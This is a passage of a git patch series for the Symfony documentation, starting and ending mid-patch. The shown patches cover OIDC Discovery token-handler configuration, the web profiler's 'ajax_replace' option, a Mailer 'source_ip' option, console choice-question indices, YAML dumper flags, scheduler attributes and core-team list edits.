+requires the ``symfony/cache`` package to store the OIDC configuration in
+cache. If you haven't installed it yet, run this command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/cache
+
+Then, configure the ``base_uri`` and ``discovery`` keys:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc_user_info:
+                                base_uri: https://www.example.com/realms/demo/
+                                discovery:
+                                    cache: cache.app
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc-user-info base-uri="https://www.example.com/realms/demo/">
+                                <discovery cache="cache.app"/>
+                            </oidc-user-info>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidcUserInfo()
+                            ->baseUri('https://www.example.com/realms/demo/')
+                            ->discovery()
+                                ->cache('cache.app')
+            ;
+        };
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used as user
 identifier by default. To use another claim, specify it on the configuration:
 
@@ -625,6 +691,84 @@ it and retrieve the user info from it:
     The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
     In previous versions, only the ``ES256`` algorithm was supported.
 
+To enable the `OpenID Connect Discovery`_, the ``OidcTokenHandler``
+requires the ``symfony/cache`` package to store the OIDC configuration in
+cache. If you haven't installed it yet, run this command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/cache
+
+Then, you can remove the ``keyset`` configuration key (it will be imported from
+the OpenID Connect Discovery), and configure the ``discovery`` key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc:
+                                claim: email
+                                algorithms: ['ES256', 'RS256']
+                                audience: 'api-example'
+                                issuers: ['https://oidc.example.com']
+                                discovery:
+                                    base_uri: https://www.example.com/realms/demo/
+                                    cache: cache.app
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc claim="email" audience="api-example">
+                                <algorithm>ES256</algorithm>
+                                <algorithm>RS256</algorithm>
+                                <issuer>https://oidc.example.com</issuer>
+                                <discovery base-uri="https://www.example.com/realms/demo/" cache="cache.app">
+                            </oidc>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidc()
+                            ->claim('email')
+                            ->algorithms(['ES256', 'RS256'])
+                            ->audience('api-example')
+                            ->issuers(['https://oidc.example.com'])
+                            ->discovery()
+                                ->baseUri('https://www.example.com/realms/demo/')
+                                ->cache('cache.app')
+            ;
+        };
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used by
 default as user identifier. To use another claim, specify it on the
 configuration:
@@ -925,5 +1069,6 @@ for :ref:`stateless firewalls <reference-security-stateless>`.
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC)
 .. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
+.. _`OpenID Connect Discovery`: https://openid.net/specs/openid-connect-discovery-1_0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html

From 3dca32e1cf1838b812d61e04baeade9b2e5b1716 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 17 Jan 2025 10:45:36 +0100
Subject: [PATCH 5310/5766] [Mercure] Adding hint for multiple topics

Page: https://symfony.com/doc/6.4/mercure.html#subscribing

Closes https://github.com/symfony/symfony-docs/issues/20574
Closes https://github.com/symfony/mercure-bundle/issues/71
Closes https://github.com/symfony/mercure-bundle/issues/82

Info is taken from https://github.com/symfony/symfony-docs/issues/20574#issuecomment-2597102678
---
 mercure.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mercure.rst b/mercure.rst
index f37c40ddee7..698de373a17 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -309,6 +309,11 @@ as patterns:
     }
     </script>
 
+However, on the client side (i.e. in JavaScript's ``EventSource``), there is no built-in way
+to see which topic a certain message is coming from. So if this (or any other meta information)
+is important to you, you need to include it in the message's data (e.g. by adding a key to the
+JSON, or a `data-*` attribute to the HTML).
+
 .. tip::
 
     Test if a URI Template matches a URL using `the online debugger`_

From 3c1398a9248f3cf538c9ff40c603e8ebb3ba695a Mon Sep 17 00:00:00 2001
From: Christopher Hertel <mail@christopher-hertel.de>
Date: Fri, 17 Jan 2025 17:15:32 +0100
Subject: [PATCH 5311/5766] docs: web profiler ajax_replace

---
 profiler.rst                             | 61 +++++++++++++++++-------
 reference/configuration/web_profiler.rst | 13 +++++
 2 files changed, 58 insertions(+), 16 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index 57d412472ba..7fc97c8ee33 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -217,9 +217,48 @@ user by dynamically rewriting the current page rather than loading entire new
 pages from a server.
 
 By default, the debug toolbar displays the information of the initial page load
-and doesn't refresh after each AJAX request. However, you can set the
-``Symfony-Debug-Toolbar-Replace`` header to a value of ``'1'`` in the response to
-the AJAX request to force the refresh of the toolbar::
+and doesn't refresh after each AJAX request. However, you can configure the
+toolbar to be refreshed after each AJAX request by enabling ``ajax_replace`` in the
+``web_profiler`` configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/web_profiler.yaml
+        web_profiler:
+            toolbar:
+                ajax_replace: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/web_profiler.xml -->
+        <?xml version="1.0" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xmlns:web-profiler="http://symfony.com/schema/dic/webprofiler"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <web-profiler:config>
+                    <web-profiler:toolbar ajax-replace="true"/>
+                </web-profiler:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/web_profiler.php
+        use Symfony\Config\WebProfilerConfig;
+
+        return static function (WebProfilerConfig $profiler): void {
+            $profiler->toolbar()
+                ->ajaxReplace(true);
+        };
+
+If you need a more sophisticated solution, you can set the
+``Symfony-Debug-Toolbar-Replace`` header to a value of ``'1'`` in the response
+yourself::
 
     $response->headers->set('Symfony-Debug-Toolbar-Replace', '1');
 
@@ -228,31 +267,21 @@ production. To do that, create an :doc:`event subscriber </event_dispatcher>`
 and listen to the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event::
 
+    use Symfony\Component\DependencyInjection\Attribute\When;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
     use Symfony\Component\HttpKernel\KernelInterface;
 
     // ...
 
+    #[When(env: 'dev')]
     class MySubscriber implements EventSubscriberInterface
     {
-        public function __construct(
-            private KernelInterface $kernel,
-        ) {
-        }
-
         // ...
 
         public function onKernelResponse(ResponseEvent $event): void
         {
-            if (!$this->kernel->isDebug()) {
-                return;
-            }
-
-            $request = $event->getRequest();
-            if (!$request->isXmlHttpRequest()) {
-                return;
-            }
+            // Your custom logic here
 
             $response = $event->getResponse();
             $response->headers->set('Symfony-Debug-Toolbar-Replace', '1');
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 93c65621999..9eda76d5523 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -56,8 +56,21 @@ on the given link to perform the redirect.
 toolbar
 ~~~~~~~
 
+enabled
+.......
 **type**: ``boolean`` **default**: ``false``
 
 It enables and disables the toolbar entirely. Usually you set this to ``true``
 in the ``dev`` and ``test`` environments and to ``false`` in the ``prod``
 environment.
+
+ajax_replace
+............
+**type**: ``boolean`` **default**: ``false``
+
+If you set this option to ``true``, the toolbar is replaced on AJAX requests.
+This only works in combination with an enabled toolbar.
+
+.. versionadded:: 7.3
+
+    The ``ajax_replace`` configuration option was introduced in Symfony 7.3.

From 0c3c3127057533a0fdd130fb609206112c9bf098 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 18 Jan 2025 09:38:04 +0100
Subject: [PATCH 5312/5766] replace versionadded with deprecated directive

---
 service_container/debug.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index aab6fa9529f..9e3e28a5343 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -52,7 +52,7 @@ its id:
 
     $ php bin/console debug:container App\Service\Mailer
 
-.. versionadded:: 7.3
+.. deprecated:: 7.3
 
     Starting in Symfony 7.3, this command displays the service arguments by default.
     In earlier Symfony versions, you needed to use the ``--show-arguments`` option,

From b9e2005cc3e1d1fde6d2f97382a6d37bac14bc8a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 18 Jan 2025 13:19:11 +0100
Subject: [PATCH 5313/5766] [Console] Adding associative array

Page: https://symfony.com/doc/6.4/components/console/helpers/questionhelper.html#let-the-user-choose-from-a-list-of-answers
---
 components/console/helpers/questionhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 2670ec3084a..e8c2d40a470 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -128,7 +128,7 @@ but ``red`` could be set instead (could be more explicit)::
         $question = new ChoiceQuestion(
             'Please select your favorite color (defaults to red)',
             // choices can also be PHP objects that implement __toString() method
-            ['red', 'blue', 'yellow'],
+            ['red', 'blue', 'yellow'], // pass an associative array to display custom indices: [3 => 'red', 7 => 'blue']
             0
         );
         $question->setErrorMessage('Color %s is invalid.');

From 64bd096d735360895a1c0ea9dc97612e73d1e40e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 18 Jan 2025 13:37:23 +0100
Subject: [PATCH 5314/5766] [Console]: Minor: Removing duplication

Page: https://symfony.com/doc/6.4/console/calling_commands.html
---
 console/calling_commands.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 349f1357682..dd1f0b12ff9 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -1,9 +1,9 @@
 How to Call Other Commands
 ==========================
 
-If a command depends on another one being run before it you can call in the
-console command itself. This is useful if a command depends on another command
-or if you want to create a "meta" command that runs a bunch of other commands
+If a command depends on another one being run before it you can call that in the
+console command itself. This can be useful
+if you want to create a "meta" command that runs a bunch of other commands
 (for instance, all commands that need to be run when the project's code has
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).

From 57888616b65a5d6a219a679a9190a65812266675 Mon Sep 17 00:00:00 2001
From: Wouter Ras <wouter@quilius.nl>
Date: Fri, 17 Jan 2025 15:05:41 +0100
Subject: [PATCH 5315/5766] [Mailer] [Smtp] Add source_ip option

---
 mailer.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index e5d646d5aa2..e2204d00db0 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -426,6 +426,27 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     This setting only works when the ``smtp://`` protocol is used.
 
+Binding to IPv4 or IPv6
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.3
+
+    The option to bind to IPv4 or IPv6 or a specific IP address was introduced in Symfony 7.3.
+
+By default, the underlying SocketStream will bind to IPv4 or IPv6 depending on the available
+interfaces. By specifying the ``source_ip`` option, binding to either IPv4 or IPv6 can be enforced,
+or even to a specific address. To bind to IPv4, use::
+
+    $dsn = 'smtp://smtp.example.com?source_ip=0.0.0.0';
+
+As per RFC2732, IPv6 addresses must be surrounded by square brackets. To bind to IPv6, use::
+
+    $dsn = 'smtp://smtp.example.com?source_ip=[::]';
+
+.. note::
+
+    This setting only works when the ``smtp://`` protocol is used.
+
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From ba6944a1851e02385ab48ad778b32569e2a19f83 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Jan 2025 10:33:49 +0100
Subject: [PATCH 5316/5766] Minor tweaks

---
 mailer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e2204d00db0..17828f18be2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -431,21 +431,21 @@ Binding to IPv4 or IPv6
 
 .. versionadded:: 7.3
 
-    The option to bind to IPv4 or IPv6 or a specific IP address was introduced in Symfony 7.3.
+    The option to bind to IPv4, or IPv6, or a specific IP address was introduced in Symfony 7.3.
 
-By default, the underlying SocketStream will bind to IPv4 or IPv6 depending on the available
-interfaces. By specifying the ``source_ip`` option, binding to either IPv4 or IPv6 can be enforced,
-or even to a specific address. To bind to IPv4, use::
+By default, the underlying ``SocketStream`` will bind to IPv4 or IPv6 based on the
+available interfaces. You can enforce binding to a specific protocol or IP address
+by using the ``source_ip`` option. To bind to IPv4, use::
 
     $dsn = 'smtp://smtp.example.com?source_ip=0.0.0.0';
 
-As per RFC2732, IPv6 addresses must be surrounded by square brackets. To bind to IPv6, use::
+As per RFC2732, IPv6 addresses must be enclosed in square brackets. To bind to IPv6, use::
 
     $dsn = 'smtp://smtp.example.com?source_ip=[::]';
 
 .. note::
 
-    This setting only works when the ``smtp://`` protocol is used.
+    This option only works when using the ``smtp://`` protocol.
 
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6301562c49f02e2a15b253dd007aa55ad0c336cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Jan 2025 12:02:52 +0100
Subject: [PATCH 5317/5766] Remove some unnecessary blank lines in some lists

---
 contributing/code/core_team.rst | 17 +++--------------
 1 file changed, 3 insertions(+), 14 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 93ec6031259..5f41ec0b4cf 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -18,11 +18,9 @@ Role of a Core Team Member
 
 In addition to being a regular contributor, core team members are expected to:
 
- * Review, approve, and merge pull requests;
-
- * Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
-
- * Participate in the Symfony Core Team discussions (on Slack and GitHub).
+* Review, approve, and merge pull requests;
+* Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
+* Participate in the Symfony Core Team discussions (on Slack and GitHub).
 
 Core Organization
 -----------------
@@ -46,9 +44,7 @@ In addition, there are other groups created to manage specific topics:
 
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
   fixing the reported issues, coordinating the release of security fixes, etc.);
-
 * **Symfony UX Team**: manages the `UX repositories`_;
-
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
@@ -152,7 +148,6 @@ Pull Request Voting Policy
 
 * Core members can change their votes as many times as they desire
   during the course of a pull request discussion;
-
 * Core members are not allowed to vote on their own pull requests.
 
 Pull Request Merging Policy
@@ -161,13 +156,10 @@ Pull Request Merging Policy
 A pull request **can be merged** if:
 
 * It is a :ref:`minor change <core-team_minor-changes>`;
-
 * Enough time was given for peer reviews;
-
 * It is a bug fix and at least two **Mergers Team** members voted ``+1``
   (only one if the submitter is part of the Mergers team) and no Core
   member voted ``-1`` (via GitHub reviews or as comments).
-
 * It is a new feature and at least two **Mergers Team** members voted
   ``+1`` (if the submitter is part of the Mergers team, two *other* members)
   and no Core member voted ``-1`` (via GitHub reviews or as comments).
@@ -187,15 +179,12 @@ following these rules:
 
 * **Feature**: For new features and deprecations; Pull requests must be merged
   in the development branch.
-
 * **Bug**: Only for bug fixes; We are very conservative when it comes to
   merging older, but still maintained, branches. Read the :doc:`maintenance`
   document for more information.
-
 * **Minor**: For everything that does not change the code or when they don't
   need to be listed in the CHANGELOG files: typos, Markdown files, test files,
   new or missing translations, etc.
-
 * **Security**: It's the category used for security fixes and should never be
   used except by the security team.
 

From e5e62c487425a84bafe41b424ddf51601bae9d21 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Jan 2025 09:12:14 +0100
Subject: [PATCH 5318/5766] Minor tweaks

---
 mercure.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 698de373a17..42ad9798d3c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -309,10 +309,11 @@ as patterns:
     }
     </script>
 
-However, on the client side (i.e. in JavaScript's ``EventSource``), there is no built-in way
-to see which topic a certain message is coming from. So if this (or any other meta information)
-is important to you, you need to include it in the message's data (e.g. by adding a key to the
-JSON, or a `data-*` attribute to the HTML).
+However, on the client side (i.e. in JavaScript's ``EventSource``), there is no
+built-in way to know which topic a certain message originates from. If this (or
+any other meta information) is important to you, you need to include it in the
+message's data (e.g. by adding a key to the JSON, or a ``data-*`` attribute to
+the HTML).
 
 .. tip::
 

From 53b7a44f7afabbe9b9502cb48ff1971d776689f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Jan 2025 09:52:45 +0100
Subject: [PATCH 5319/5766] Reword

---
 components/console/helpers/questionhelper.rst | 24 ++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index e8c2d40a470..3dc97d5c0d3 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -128,7 +128,7 @@ but ``red`` could be set instead (could be more explicit)::
         $question = new ChoiceQuestion(
             'Please select your favorite color (defaults to red)',
             // choices can also be PHP objects that implement __toString() method
-            ['red', 'blue', 'yellow'], // pass an associative array to display custom indices: [3 => 'red', 7 => 'blue']
+            ['red', 'blue', 'yellow'],
             0
         );
         $question->setErrorMessage('Color %s is invalid.');
@@ -145,6 +145,28 @@ The option which should be selected by default is provided with the third
 argument of the constructor. The default is ``null``, which means that no
 option is the default one.
 
+Choice questions display both the choice value and a numeric index, which starts
+from 0 by default. The user can type either the numeric index or the choice value
+to make a selection:
+
+.. code-block:: terminal
+
+    Please select your favorite color (defaults to red):
+      [0] red
+      [1] blue
+      [2] yellow
+    >
+
+.. tip::
+
+    To use custom indices, pass an array with custom numeric keys as the choice
+    values::
+
+        new ChoiceQuestion('Select a room:', [
+            102 => 'Room Foo',
+            213 => 'Room Bar',
+        ]);
+
 If the user enters an invalid string, an error message is shown and the user
 is asked to provide the answer another time, until they enter a valid string
 or reach the maximum number of attempts. The default value for the maximum number

From 0776cba27ef9aeed25406477e7c6a8c19425164d Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin.dequippe@tiime.fr>
Date: Mon, 28 Oct 2024 18:41:54 +0400
Subject: [PATCH 5320/5766] [Serializer] Documentation for xml empty attribute

---
 serializer/encoders.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index d5a98356156..2e5c0e6e66a 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -205,11 +205,16 @@ These are the options available on the :ref:`serializer context <serializer-cont
 ``cdata_wrapping_pattern`` (default: ````/[<>&]/````)
     A regular expression pattern to determine if a value should be wrapped
     in a CDATA section.
+``ignore_empty_attributes`` (default: ``false``)
+    If set to true, ignores all attributes with empty values in the generated XML
 
 .. versionadded:: 7.1
 
     The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    The ``ignore_empty_attributes`` option was introduced in Symfony 7.3.
 
 Example with a custom ``context``::
 

From 141c65cd756145c43542211e5963a01bb690396f Mon Sep 17 00:00:00 2001
From: alanzarli <azarli@smsbox.fr>
Date: Tue, 21 Jan 2025 10:57:32 +0100
Subject: [PATCH 5321/5766] [Notifier][Webhook]Add Smsbox Notifier doc

---
 notifier.rst | 2 +-
 webhook.rst  | 1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 090f4db2007..30565f45b2c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -177,7 +177,7 @@ Service
                     **Webhook support**: No
 `Smsbox`_           **Install**: ``composer require symfony/smsbox-notifier`` \
                     **DSN**: ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER`` \
-                    **Webhook support**: No
+                    **Webhook support**: Yes
 `SmsBiuras`_        **Install**: ``composer require symfony/sms-biuras-notifier`` \
                     **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \
                     **Webhook support**: No
diff --git a/webhook.rst b/webhook.rst
index 674c9f2c5c6..6c5d46a956a 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -171,6 +171,7 @@ Currently, the following third-party SMS transports support webhooks:
 SMS service  Parser service name
 ============ ==========================================
 Twilio       ``notifier.webhook.request_parser.twilio``
+Smsbox       ``notifier.webhook.request_parser.smsbox``
 Sweego       ``notifier.webhook.request_parser.sweego``
 Vonage       ``notifier.webhook.request_parser.vonage``
 ============ ==========================================

From 12bb604aac1f3a00871dc9d99042f7a6d3abea53 Mon Sep 17 00:00:00 2001
From: gr8b <grb8.github@gmail.com>
Date: Sat, 4 Jan 2025 17:49:29 +0200
Subject: [PATCH 5322/5766] [Yaml] feature #59315  Add compact nested mapping
 support to Dumper

---
 components/yaml.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 30f715a7a24..c373c98015d 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -440,6 +440,34 @@ By default, digit-only array keys are dumped as integers. You can use the
     $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING);
     // '200': foo
 
+Dumping Collection of Maps
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the collection of maps uses a hyphen on a separate line as a delimiter.
+To use the delimiter line as part of the map dump, use the ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag.
+
+Dump without flag set:
+
+.. code-block:: yaml
+
+    planets:
+      -
+        name: Mercury
+        distance: 57910000
+      -
+        name: Jupiter
+        distance: 778500000
+
+Dump with ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag set:
+
+.. code-block:: yaml
+
+    planets:
+      - name: Mercury
+        distance: 57910000
+      - name: Jupiter
+        distance: 778500000
+
 Syntax Validation
 ~~~~~~~~~~~~~~~~~
 

From 05aacc296c26990446b86752bf157145b051f760 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Jan 2025 08:38:02 +0100
Subject: [PATCH 5323/5766] Minor tweaks

---
 components/yaml.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index aea0b6437bd..40a172f334d 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -453,10 +453,8 @@ By default, digit-only array keys are dumped as integers. You can use the
 Dumping Collection of Maps
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, the collection of maps uses a hyphen on a separate line as a delimiter.
-To use the delimiter line as part of the map dump, use the ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag.
-
-Dump without flag set:
+When the YAML component dumps collections of maps, it uses a hyphen on a separate
+line as a delimiter:
 
 .. code-block:: yaml
 
@@ -468,7 +466,8 @@ Dump without flag set:
         name: Jupiter
         distance: 778500000
 
-Dump with ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag set:
+To produce a more compact output where the delimiter is included within the map,
+use the ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag:
 
 .. code-block:: yaml
 
@@ -478,6 +477,10 @@ Dump with ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag set:
       - name: Jupiter
         distance: 778500000
 
+.. versionadded:: 7.3
+
+    The ``Yaml::DUMP_COMPACT_NESTED_MAPPING`` flag was introduced in Symfony 7.3.
+
 Syntax Validation
 ~~~~~~~~~~~~~~~~~
 

From 35df8ae759bf455557cb9f9b530c02231cc8ced1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Jan 2025 09:23:07 +0100
Subject: [PATCH 5324/5766] Reword

---
 scheduler.rst | 30 ++++++------------------------
 1 file changed, 6 insertions(+), 24 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6cebb354137..5bac82d98ae 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -473,19 +473,10 @@ The attribute takes more parameters to customize the trigger::
     // defines the timezone to use
     #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
 
-Arguments/options for Symfony commands are passed as plain string::
-
-    use Symfony\Component\Console\Command\Command;
-
-    #[AsCronTask('0 0 * * *', arguments: 'arg --my-option')]
+    // when applying this attribute to a Symfony console command, you can pass
+    // arguments and options to the command using the 'arguments' option:
+    #[AsCronTask('0 0 * * *', arguments: 'some_argument --some-option --another-option=some_value')]
     class MyCommand extends Command
-    {
-        protected function configure(): void
-        {
-            $this->addArgument('my-arg');
-            $this->addOption('my-option');
-        }
-    }
 
 .. versionadded:: 6.4
 
@@ -536,19 +527,10 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg
         }
     }
 
-Arguments/options for Symfony commands are passed as plain string::
-
-    use Symfony\Component\Console\Command\Command;
-
-    #[AsPeriodicTask(frequency: '1 day', arguments: 'arg --my-option')]
+    // when applying this attribute to a Symfony console command, you can pass
+    // arguments and options to the command using the 'arguments' option:
+    #[AsPeriodicTask(frequency: '1 day', arguments: 'some_argument --some-option --another-option=some_value')]
     class MyCommand extends Command
-    {
-        protected function configure(): void
-        {
-            $this->addArgument('my-arg');
-            $this->addOption('my-option');
-        }
-    }
 
 .. versionadded:: 6.4
 

From 833e338690d7250e983a89198d9e8e393f41d516 Mon Sep 17 00:00:00 2001
From: Thomas Calvet <calvet.thomas@gmail.com>
Date: Wed, 22 Jan 2025 09:25:10 +0100
Subject: [PATCH 5325/5766] Remove myself from active core members

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 5f41ec0b4cf..1b1703e4f93 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -70,7 +70,6 @@ Active Core Members
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
   * **Oskar Stark** (`OskarStark`_);
-  * **Thomas Calvet** (`fancyweb`_);
   * **Mathieu Santostefano** (`welcomattic`_);
   * **Kevin Bond** (`kbond`_);
   * **Jérôme Tamarelle** (`gromnan`_).
@@ -114,7 +113,8 @@ Symfony contributions:
 * **Tobias Schultze** (`Tobion`_);
 * **Maxime Steinhausser** (`ogizanagi`_);
 * **Titouan Galopin** (`tgalopin`_);
-* **Michael Cullum** (`michaelcullum`_).
+* **Michael Cullum** (`michaelcullum`_);
+* **Thomas Calvet** (`fancyweb`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b9c7139364f16c941099891df800930c1dfd724f Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Sat, 18 Jan 2025 02:05:12 -0300
Subject: [PATCH 5326/5766] [Logging] Add references to the `ConsoleLogger`

---
 logging.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/logging.rst b/logging.rst
